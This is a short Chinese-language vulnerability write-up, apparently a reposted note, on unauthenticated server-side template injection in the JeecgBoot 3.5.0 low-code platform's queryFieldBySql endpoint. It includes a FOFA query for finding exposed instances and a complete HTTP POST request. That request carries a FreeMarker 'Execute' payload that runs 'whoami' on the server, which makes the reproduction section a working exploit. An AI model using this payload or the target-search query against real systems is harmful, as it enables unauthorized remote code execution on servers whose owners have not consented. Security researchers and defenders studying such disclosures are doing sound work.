登录 白背景

JeecgBoot企业级低代码平台queryFieldBySql基于SSTI的任意代码执行漏洞

一、漏洞简介

JeecgBoot /jeecg-boot/jmreport/queryFieldBySql Api接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

二、影响版本

  • JeecgBoot 3.5.0

三、资产测绘

  • fofaapp="JeecgBoot-企业级低代码平台"
  • 特征

image.png

四、漏洞复现

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 105

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami\") }'" }

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/noogyung85e2385y